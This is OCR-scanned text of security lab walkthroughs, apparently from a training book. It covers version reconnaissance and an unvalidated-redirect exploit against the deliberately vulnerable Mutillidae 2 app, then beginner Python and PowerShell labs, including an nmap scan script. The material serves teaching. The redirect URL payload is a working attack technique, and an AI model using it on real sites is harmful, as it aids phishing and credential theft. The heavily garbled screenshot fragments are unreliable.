Version: 2.8.32 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier)
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log
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SS5L Misconfiguration

Once here, you will find that this page contains all the information about the
different versions of software and components used withing the configuration
of the Mutillidae 2 site. From here, we are able to hone in on specific
versions of software, for example the Apache version or PHP version that the
site is using, and search exploit databases for any known vulnerabilities.

=

' Build Date

Virtual Directory Support disabled

Coanfiguration File (php.ini) Path fetc/phpyT dfapache?
Loaded Configuration File fete/php/7.4fapache2/php ini
Scan this dir for additional .ini files fetc/php/7.4fapachelfconfd




For example, we can see that the site is using PHP version 7.4. If we run a
quick google search for “PHP 7.4 vulnerabilities” we can see the first two
links contain the information we are looking for. The link to the tenable site
describes some known vulnerabilities for PHP versions under 7.4.11, which
include the Mutillidae 2 site as it is using PHP 7.4. An attacker would
conduct research such as this to discover any known vulnerabilities and then
either search for a working exploit or develop their own.

We can do the same for the Apache version. We can see from this webpage
that the server is running Apache 2.0. A quick Google search of “Apache 2.0
vulnerabilities” will lead us to the following site detailing some of the
vulnerabilities:

https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-
66/version_id-6333/Apache-Http-Server-2.0.html

Apsche = Hitp Server » 2.0 1 Security Vulnerabilities (CVSS score »=T)
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As you can see, there are numerous vulnerabilities with varying degrees of
severity for the service Apache 2.0. We can use this information to exploit
this vulnerable service.

In reality, there will rarely be a webpage with all of this information; an


https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-6333/Apache-Http-Server-2.0.html

attacker will have to manually gather this information by interacting with the
server itself and reading its headers as well as the different responses it sends
to determine which components are integrated and what their version is.



L.ab 96. OWASP A10—Unvalidated
Redirects and Forwards

Lab Objective:
Learn how to take advantage of unvalidated redirects and forwards
vulnerability.

Lab Purpose:

Unvalidated redirects and forwards are possible when a web application
accepts untrusted input that could cause the web application to redirect the
request to a URL contained within untrusted input. By modifying untrusted
URL input to a malicious site, an attacker may successfully launch a phishing
scam and steal user credentials.

Unvalidated redirect and forward attacks can also be used to maliciously craft
a URL that would pass the application’s access control check and then
forward the attacker to privileged functions that they would normally not be
able to access.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, I will be using Mutillidae 2 to demonstrate how to take advantage
of an unvalidated redirects and forwards vulnerability. How to install this
environment in Kali VM is explained in detail in lab 87.



To begin, navigate to the Credits page, which can be found at the following
location in the Mutillidae 2 menu:

e+ OWASP Mutillidae Il: Keep
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Once here, you will find a very simple page which gives credit to the creators
of Mutillidae 2. This page, however, is vulnerable to unvalidated redirects
and forwards. It is normal for web application to frequently redirect and
forward users to other websites and pages while using untrusted data to
determine the destination pages. If, however, this is done without proper
validation, attackers are able to redirect users to malware or phishing sites, or
use forwards to access unauthorized pages.
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Task 2:
To take advantage of this vulnerability, copy and paste following URL to
address bar:

http://localhost/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org

U & owasp.org

ali Tools N Kali Forums <« KaliD

#owasp

This URL will send the user to the OWASP web page instead of the
Mutillidae 2 site. In this URL, the forwardurl parameter specifies the redirection
URL and the attacker can point the user to a malicious webpage.

Unvalidated redirects are often used to increase the success rate of phishing
attacks and campaigns. This is due to the fact that the first part of the link

looks legitimate as it will include a link to a legitimate site.

Take the URL we just entered for example. Looking at the first half of the



link, it looks like the link is taking us to the Mutillidae 2 site, which is where
we want to go. Often, users will only check the first half of the link to see if it
is leading to a legitimate site. It is the second half of the link which turns out
to be malicious as it redirects us to the OWASP site.

If this was a phishing campaign, an attacker could take advantage of the
PayPal site for example (if it was vulnerable to unvalidated redirects) and
send users a link. Users would think that the link was legitimate as it is
coming from PayPal.com, but in reality, the attacker can redirect them to any
site they like.

This lab concludes our look at the OWASP Top 10.



Lab 97. Introduction to Python
Scripting

Lab Objective:
Learn some fundamental concepts surrounding the Python language.

Lab Purpose:

Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, making it incredibly attractive for
Rapid Application Development, as well as for use as a scripting or glue
language to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at some fundamental concepts around scripting
with Python. Python is a good coding language to learn as its syntax is quite
simple and straightforward. Python is also very versatile and can import
massive amounts of code from libraries, shortening the workload on
developers.

To begin, we will make a very simple first script. Open a terminal in Kali and
create a new document with nano. Type the following:



nano samplel.py
print(“Hello Everybody!”)

Save this file and exit.
kel bemli: =

File Actions Edit View Help

GNU nano 5.4 camplel.py *

Write QOut wWhere Is B Cut
Y Read File Replace NI Paste

Finally, execute this script by typing:
python3 samplel.py

If we want to run the script on its own, it is necessary to write the full path of
the interpreter with “#!” suffix on the first line of each code and then make
the script executable. If you do not know the full path of python interpreter in
Kali, type this on the command line:

which python

Copy the path of binary, then open the same script with an editor and add the
following to the very first line;

#!/usr/bin/python



python
fusr/bin/python

python3
fusr/bin/python3

————— e —_— e —

kel ol beala: -
File Actions Edit View Help
GNU nano 5.4 samplel.py

B Write Qut
& Read File

Then, make this file executable by typing the following:

chmod +x samplel.py
./samplel.py

This first line we have added has no effect on the actual code, and tells the
shell that this script will be run by python.



5 10T -l '_‘1 « DY
#! fusr/bin/python

S a

print{ “Hello Everybody!" )

Hello Everybody!

Task 2:
Ok, so we are now familiar with how to create and run python scripts. For the
rest of the tasks, we can create scripts with different names each time.

We will now look at mathematical operators. These allow us to add, subtract,
etc., in our scripts. Here is a list of the different operators available in Python
and their syntax:

e Addition
I

e Subtraction

e Multiplication
*

e Division
/

e Modulus



%

e Exponent

kg

e Floor Division

//

So, if we wanted to perform simple multiplication, we could type 5 * 5 and
this would multiply 5 by 5 and give us the result of 25.

There are also comparison operators available to us, as in any coding
language. These are the following:

e Greater than

>
e Less than
<
e Equal to
e Not Equal to
1=
e Greater than or equal to
>=

Less than or equal



Task 3:
Now, we will look at variables. Variables are how Python stores information.
There are a number of different variables in Python. They are listed here:

e String — Used to define text
¢ Integer — Whole numbers e.g 12
e Float — Decimal numbers e.g 3.2

e Boolean — Used to define true or false, it can only be one or the
other
e List — Used to store a series of data types in a collection

Variables are created in a very simple way in Python. We can create a
variable and print its contents very simply in Python. Create a new script and
add Python3 interpreter path on the first line as usual. Then, type the
following:

#!/usr/bin/python3
number = 5
print (“number = “, number)

Make executable this new script then run:

chmod +x sample2.py
./sample2.py



script, ASCII text executable

We will see the “number = 5” returned in the console. To receive input from
the user when executing a script, we use the following:

input

So, if we want to ask a user to enter a number, compare the number to
another number, and then print the answer to the screen. Change the same
script to be like this:

number = i1nput(“Enter a number:")
print ( “"Number you entered 1s ", number)

Enter a number:
Number vou ente




Save script and execute it. Enter a number when asked and you will see that it
is printed back to you in the console.

Task 4:

Now that we have some of the basic concepts established, we will look at if
statements. This is one of the most useful tools when it comes to Python
scripting. An if statement looks like the following:

if x ==
Do this

else:
Do something else

If x is equal to y, the first “Do this” command will run. If it is not equal, the
second “Do something else” will be run.

Let’s use this knowledge to create a more comprehensive script. Create a new
script file and type the following:

#!/usr/bin/python3
number = int( input(“Enter a number: “) )
if number < 5:
print(number,”is less than 5”)
elif number >= 5:
print(number,”is greater than or equal to 5”)
else:
print(“Error occurred!”)

Save your new script, make executable, then execute. Notice the different
responses printed to the console depending on the number you enter.



greater than

curred! ")




Lab 98. More Python Scripting

Lab Objective:
Learn some more concepts surrounding the Python language.

Lab Purpose:

Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, make it very attractive for Rapid
Application Development, as well as for use as a scripting or glue language
to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at some more concepts around scripting with
Python. Python is a good coding language to learn as its syntax is very simple
and straightforward. Python is also very versatile and can import massive
amounts of code from libraries, shortening the workload on developers.

We will begin by talking about functions. Functions are like blocks of code
which are executed together. Functions make it easier to use the output of the
function in another statement instead of having to write all of the lines of
code again. For example, say we have a complex formula to calculate a sum.
If we want to include the output of this complex formula in another sum, we
can simply call the function instead of re-writing all of the lines of code



again.

In the Python language, functions are known as definitions. Let’s create one
now. Create a new script and edit its contents so that the script looks like the
following:

!/usr/bin/python3

number = int(input(“Enter a number:”))
def calculation (number):

if number < 5:
print(number,”is less than 5)
elif number >= 5:
print(number,”is greater than or equal to 5)
else:
print(“Error”)
return

calculation(number)

GNU nano 5.4 samples . py

number = int(input(~Enter a number:"))< " @
(number):
number < 5: (:)
print{number,”is less than 5")
number 2 5:

print(number,“is greater than or equal to 5")

print("Error”)

calculation(number) {;—— @

" Write Out Where Is B Execute
s Read File Replace aste i Justify

Let’s break down what this script is doing.

1. The first line is creating a variable which will store an integer
when the user enters one after they are prompted.



2. This is our definition (or function) and is using the number
variable throughout the definition.

3. This section contains simple calculations.

4. This line is returning the result of the calculations back to the
definition in section 3 and is updating the number variable inside
the definition.

5. This is printing the “number” variable after the definition has
performed some function on it.

Save this script and execute it in the usual fashion. Enter some random
numbers when prompted, and note the different responses you receive.

=

Enter a number:5 «._"}-—'-*"‘_‘-"-’-‘ :

5 is greater than or equal to 5

Enter a -'mr"‘“u-l 4':'4_-'_:'_“_#.—

7 is greater than or equal to

Enter a :1I.Jr:':1r-1':'1£l:=:ss=’-

1s less than 5

Task 2:

We will now touch on parameters. Notice how we passed the value of the
number variable to the definition calculation? This number variable is called
a parameter. Since we passed the parameter to the definition function when
we created it, it will be expecting this value when it is called. Note that the
number parameter is merely there for accessing the data within the function,
and that parameters and variable names don’t have to match.

Have a look at the screenshot below:



campleS. oy
f#! fusr/bin/python3

def calculation (num):
if num < 5: .
s print(num,“is less
elit num = 5:
~ print(num,"is gr

print( "Error” )

return

number = int(input(“"Eg#fer a number:"))
calculation (number

In the above screenshot, we are passing number to the definition calculation
even though the parameter is named integer. The parameter name is merely
there for accessing the data within the definition.

#!/usr/bin/python3

def calculation (num):
if num < 5:
print(num,”is less than 5)
elif num >= 5:
print(num,”is greater than or equal to 5”)
else:
print(“Error”)
return

number = int(input(“Enter a number:”))
calculation (number)

Create your script so that it looks like the above, save it, make it executable,
then run.

Task 3:
Let’s look at introducing some of the logic operators we learned about in the



previous lab. These are very useful to include in if statements as they can
provide much more functionality to the statement. Typical login statements
include and, or, not. These can be used in conjunction with if statements to
provide the statement with an extra condition which needs to be met in order
for the statement to be true. For example, create another script so that it looks

like the following:

#! fusr/bin/python3

def calculation (num):
if num < 5 and number > @:

E

print(num, 15 between & and 5" )
elif num =2 5 and num < 10@:

print(num,*1is egual or greater tham 5 less than 187)
elif num > 18 or num < @:

print{num, "That number is not between 1 and 10!")

print(“out of range”)
returmn

number = int(input(“Enter a number:"))
calculation (number)

Each if statement here has now got an added logic statement. When the AND
logic operator is used, both statements must be true for the statement to run.
If the statement is not true, the code will move on to the next if statement (or
elif statement or else statement).

For the second elif statement, the OR logic operator is used. This means that
either statement in this line must be true for the code to execute. If neither are
true, the code wil move onto the next if statement or else statement.

#!/usr/bin/python3

def calculation (num):
if num <5 and number > 0:
print(num,”is between 0 and 5”)
elif num >= 5 and num < 10:
print(num,”is equal or greater than 5 less than 10”)
elif num > 10 or num < 0:



print(num,”That number is not between 1 and 10!”)
else:

print(“out of range”)
return

number = int(input(“Enter a number:”))
calculation (number)

Save this as a new script and execute it. Experiment with entering different
numbers when prompted and note the differences.

Enter a number:3
3 15 between @ and 5

Enter a number:7
7 1s equal or greater than 5 less than 1@

number:12
number 1s not between 1 and 1@!

Enter a number:@

out of I‘:‘q."lgE




Lab 99. More Advanced Python
Scripting

Lab Objective:
Learn some more advanced concepts surrounding the Python language.

Lab Purpose:

Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, make it attractive for Rapid
Application Development, as well as for use as a scripting or glue language
to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at some more advanced concepts around
scripting with Python. Python is a good coding language to learn as its syntax
is quite simple and straightforward. Python is also very versatile and can
import massive amounts of code from libraries, shortening the workload on
developers.

We will begin by looking at loops. Loops are incredibly useful in scripting
languages. There are two types of loops in Python: for loops and while loops.



For loops look like the following:

names = [‘Mark’, ‘Darragh’, ‘Lee’]
for i in names:
print (i)

This is a very basic for loop. This loop uses the contents of the names array in
the loop. The for loop itself will iterate for every entry within the array and
print the result. So, in our console, we should be returned with the three
names in the array above.

Copy this code and paste it into your script. Save the script, execute it, and
note the output.

B
sample7.py
g! fusr/bin/python3

) Mark

Darragh

for 1 in names:
print (1)

Lee

names = ['Mark"', "Darragh’, 'Lee"] J

This script will execute until every name in the array is output to the console
and will end when there are no names left. This is how a for loop works.

We can add some more code to this script to make the for look more
comprehensive. For loops provide us with the functionality to iterate with
datasets. This can be done with the following piece of code:

fori in range(0,10):
print(i)

This code will iterate through the array, printing the first 10 items to the
console. let’s use this in our script so that we can get a better understanding
of how it works. Copy and paste this next snippet of code into our script in
Kali:



#!/usr/bin/python3

randomNumbers = [1, 2, 3,4, 5,6, 7, 8,9, 10, 11, 12, 13, 14, 15]
for i in range(0,5):
print(i)

Save this script and execute it.

Notice we receive the output of 0, 1, 2, 3, 4 to the console. This is because of
the way indexing works. We specified in the range(0,5) part above that we
want to print the first 5 numbers from the array randomNumbers. The first 5

numbers are 0-4.

If we want to print numbers 1-5, we would have to specify range(1,6).

Note that the first parameter supplied to the range function is the start point of
the for loop. The second function is the end point where the loop will finish.



We can also add a third parameter which will specify to the loop how much
we want it to increment by. For example, if we type range(0, 15, 3) this will
increment through our array by 3. Edit your script so it looks like the
following:

#!/usr/bin/python3

randomNumbers =[1, 2, 3,4, 5,6, 7, 8,9, 10, 11, 12, 13, 14, 15]
fori in range(0,16,3):
print(i)

Now, save it and execute. Note that we are incrementing through our dataset
of numbers in increments of 3. The second parameter is 16 as we want to
display the number at index 16, which is the number 15 (remember the first
number in an array has always index 0).

Finally, we will look at adding an else statement to our for loop. This is very
simple and is similar to how else statements are added to if statements. Edit
your code so that it looks like the following:

#!/usr/bin/python3

randomNumbers =[1, 2, 3,4, 5,6, 7, 8,9, 10, 11, 12, 13, 14, 15]
for i in range(0,16,3):

print(i)
else:

print(“Script has finished running :)”)

Then, save and execute it. Note how the else statement will execute when the



script is finished running. This is a simple implementation of an else
statement in a for loop.

1'3!
15
5C

ript has finished running :)

Task 2:
Now, we will briefly touch on how Python can be used to interact with files.
Create a new script so that it looks like the following:

#!/usr/bin/python3

fileInput = input (‘Please input the filename you would like to read:’)
file = open(fileInput, ‘r”)
print( file.read() )

Let’s break down what this script is doing:

e The first line after the “#!” is asking the user to input the name
of the file they would like to read and is assigning the value of the
users input to the variable fileInput.

e The next line is opening the file specified and reads all of its
contents. It stored the contents of the specified file to the variable
file.

e The final line prints the contents stored in the variable file to
the console.



: ®

Please input the filename you would like to read:/etc/hosts
Localhost
kali

# The following lines are desirable for IPv6 capable hosts
{3 | localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

t102::2 1pb-allrouters

Save this script and execute it. When asked, input the name of the file you
would like to read and notice how its contents are printed to the console. This
is a brief example of how Python can be used to interact with files.

Task 3:

In this lab, we will see how we can run system commands from within the
python script. In Python, we use the “import” keyword to make the code in
one module available in another. Create a new script so that it looks like the
following;

#!/usr/bin/python3

import subprocess

» <«

subprocess.run([“ping”, “-c 3”, “scanme.nmap.org”])
subprocess.run([“nmap”, “scanme.nmap.org”, “-sT”])

Let’s break down what this script is doing:

e The first line after the “#!” is declares which module we need
to import python runtime environment.

e The next line runs ping command with a “-c 3” parameter
against a host.

e The final line starts a nmap scan to same host above. Also we
are using another parameter which nmap needs.



Save this script and execute it. As you can see, our python script first
executes a 3-count ping command to scanme.nmap.org (1). When first
command finishes, it starts a portscan to the same target (2).

ttl=49 time=193 ms
? ttl=49 t =1
3 ttl=49 time=193

ket loss, time 2002ms

Nmap scan (
Host is up (@
Other addr Fo anme.nmap.org (not scanned): 2600:3c0l:: f@3c:91ff:fel8:bb2f
Not shown: > closed rts
PORT S5TA SERVICE

open ss5h

filtered smtp

open http

open nping-echo

Elite

Nmap done: 1 IP address (1 host up) scanned in 22.30

Using system commands in Python allows us to perform a smarter security
scan within a certain logic pattern, taking into account the results of previous
command outputs.



Lab 100. Introduction to Scripting
with PowerShell

Lab Objective:
Learn how to use some basic PowerShell commands and functions.

Lab Purpose:

PowerShell is a task automation and configuration management framework
from Microsoft. It consists of a command-line shell and the associated
scripting language.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be covering some basics surrounding PowerShell.
PowerShell commands are called cmdlet’s, and are written in .NET. The
output of these cmdlet’s are objects. This means that we can perform actions
on the output object by running cmdlets. The typical cmdlet is constructed
using a verb-noun format. For example, the Get-Help command is used to get
help about a particular cmdlet. Some of the most common verbs used include
the following:

e Get—To get something
e Start—To run something
e Out—To output something



e Stop—To stop something that is running
e Set—To define something
e New—To create something

You can launch PowerShell by searching for the following on your Windows
machine:

PowerShell

Best match

Windows PowerShell
(> |

B Deskiop ape 2} g

Sattingt

" Power & skeep settings { Windows PowerShell

 PowerShell Developer Settings l
/4

[l FRemote Desktop hibernation

SELLINGgS -
Apps —

H " 1 1
£ Windows PowerShell |5E
[ .
8 Windows PowerShell (x36)
= B Windows PowerShell 15E (x86)
- O
Search suggestions .
L
[ I :
O power| =

Task 2:

Let’s look at some of the most basic PowerShell commands. Keep in mind
throught this lab that you can use Get-Help at any time to get some information
about a command. You can also use the -examples flag which would return

some examples of how this command is used. This is what that would look
like:



Get-Help Get-Command -Examples

The “Get-Command” can be used to get all of the cmdlet’s installed. We can
use this command to search for a particular cmdlet for a specific verb or noun
by typing like the following:

Get-Command Start-*

undTask

ngManagemnent

agement

rt

ar
A
T
A
ar
ar
ar
ar
a

Ar
ar




Task 3:
Let’s now have a quick look at variables. Variables should start with $ in
PowerShell. The following is an example of a variable in PowerShell:

$location = “Earth”

This command will create a variable called $location and assign it the output
of Get-Location cmdlet. This variable will now contain the current location.
To call the variable, we simple type the following:

$location

Task 4:

We will now look at writing our first PowerShell script. Before we are able to
execute any scripts, we will first need to change to execution policy on our
Windows machine. It is recommended to do this in a Windows virtual
machine, or another machine which is not your main or host OS. Changing
the execution policy will allow your machine to execute any PowerShell
script. If you download a PowerShell file containing a virus, this could be
disasterous for your PC. To change the execution policy, open PowerShell
and type the following commands one after the other:

Get-ExecutionPolicy
Set-executionpolicy unrestricted
Enter Y in the prompt
Get-ExecutionPolicy

Before doing this, make sure you opened powershell with Administrator
permissions. Your execution policy should now be set to unrestricted, and we
can proceed with the lab.



Fd
-Executio @
L-executio unrestricted & ————————

ion Policy Change
ion policy

t.com/fwlin

to All [N] No

em32s Get-ExecutionPo

@

iindows\system32>

Now, create a new file in notepad and type the following:

$Info = “Hello!”
Write-Host $Info

Save this script to your Documents with the name script.ps1.

EX Windows PowerShell

HWindows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Directory: C:\Users\IlEUser\Documents

LastWriteTime Length MName

r\Documents>




Now, open PowerShell if you have not already done so, by searching for
PowerShell. Then, call the script with the following command:

& “C:\Users\IEUser\Documents\script.ps1”

You have to write the full path of the script that you’re trying to run.

PS5 C:\Users\IEUser\Documents> &

Hello!

Notice how Hello! is printed to the console. Ok, we have executed our first
PowerShell script!



Lab 101. More Advanced Scripting
with PowerShell

Lab Objective:
Learn more advanced PowerShell commands and functions.

Lab Purpose:

PowerShell is a task automation and configuration management framework
from Microsoft. It consists of a command-line shell and the associated
scripting language.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will run through some more advanced PowerShell concepts
and attempt to write some more comprehensive PowerShell scripts.

Note: When running PowerShell scripts, the location of some of the files we
use in the lab may be stored in different locations on your PC than mine. For
example, if I store something on the Desktop, it will be saved under
C:\User\user\Desktop\filename, but for you, it could be stored in somewhere
like X:\username\username\Desktop\filename. Just make sure that you have
the correct location for the file you are trying to use.

So, we have now established that every cmdlet will output an object when it



is run. Now, we will cover how to manipulate these objects. To do this, we
will need to pass output to other cmdlet’s and use specific object cmdlet’s to
extract information.

To begin, you should note that Pipeline(|) is used to pass output from one
cmdlet to another. Every object will contain methods and properties, much
like in every object-oriented framework. Methods are functions which can be
applied to output from the cmdlet. Properties are variables in the output from
a cmdlet.

Run a command now using the pipelines like this:

Get-Service | Sort-Object -property Status

EX Administrator: Windows PowerShell

PS C:\Users\IEUser\Documents> Get-Service | Sort-Object Status

DisplayName

Stopped Sense Windows Defender Advanced Threat Pr...
Stopped seclogon Secondary

Stopped SDRSVC Windows Backu

Stopped Sensor Monitoring Service

Stopped S Service ensor Service

Stopped Sensor Data Service

Stopped R ocator Remote Procedure Call (RPC) Locator
Stopped RmSwc Radio Management Service

Stopped RetailDemo Retail Demo Service

Stopped SCPolicySvc Smart Card Removal Policy

Stopped ScDeviceEnum Smart Card Device Enumeration Service
Stopped SCardSvr Smart Card

This command will get all services sorted by their status. Note the output.

Now, let’s create a script making use of pipes. Edit your script so that it looks
like the following:

Get-Service | Sort-Object -property Status
“Hello All!” | Out-File C:\Users\IEUser\Documents\newfile.txt

So, we have just added an extra line to our previous command to write Hello



All! to a text file. Ensure that the text file exists first by creating one and
saving it to your Documents folder.

Now, save the script and execute it. Notice that both commands executed. We
have received all services sorted by their status, and Hello All! has been
written to the newfile.txt file.

Task 2:

Now that we have a basic understanding of PowerShell and how it works, we
will attempt to write a more advanced script. Open your PowerShell script
and edit it so that it looks like the following:

$system_ports = Get-NetTCPConnection -State Listen
$text_port = Get-Content -Path C:\Users\I[EUser\Documents\portnumbers.txt
foreach($port in $text_port){
if($port -in $system_ports.L.ocalPort){
echo “$port is OPEN in this machine!”

}
else { echo “$port is NOT open” }

}

Save this script.

Let’s break this script down:

e In the first line, we are getting a list of all the ports on the
system that are listening. This is achieved using the Get-
NetTCPConnection cmdlet. This output is saved to the variable
system_ports

e The second line is reading a list of port numbers from the file
“portnumbers.txt”. This file contains a random set of port
numbers with each number on a different line. We are then
storing the contents of this file in the variable text_port

e The third line is establishing a loop for each port stored in the
text_port variable. This loop will run until all the stored ports
have been dealt with.

e The fourth line is an if statement. This statement will check to
see if the port in the port variable is in the LocalPort property of
the Windows system. If this statement is true, the port will be



echoed to the console. If the statement is not true, that port
number will be ignored.

Before running it, create a text file on your
“C:\Users\IEUser\Documents\portnumbers.txt” path and add in a random list
of ports with each port number on a different line, like this:

22
80
8080
443
445
135
3389

Save this file, and, finally, run the “script.ps1” file:

PS C:\Users\IEUser\Documents> & C:\Users\IEUser\Documents\script.psl
22 is NOT open T —
80 is NOT open

8080 is NOT open

443 is NOT open

445 is OPEN in this machine!

35 is OPEN in this machine!

389 is NOT open

S C:\Users\IEUser\Documents>

3
p

If any of the ports listed in the text file you created are listening on your
Windows system, they will be printed to the console as “OPEN™. This is a
simple example of how PowerShell can be used to interact with the Windows
OS for gathering information.
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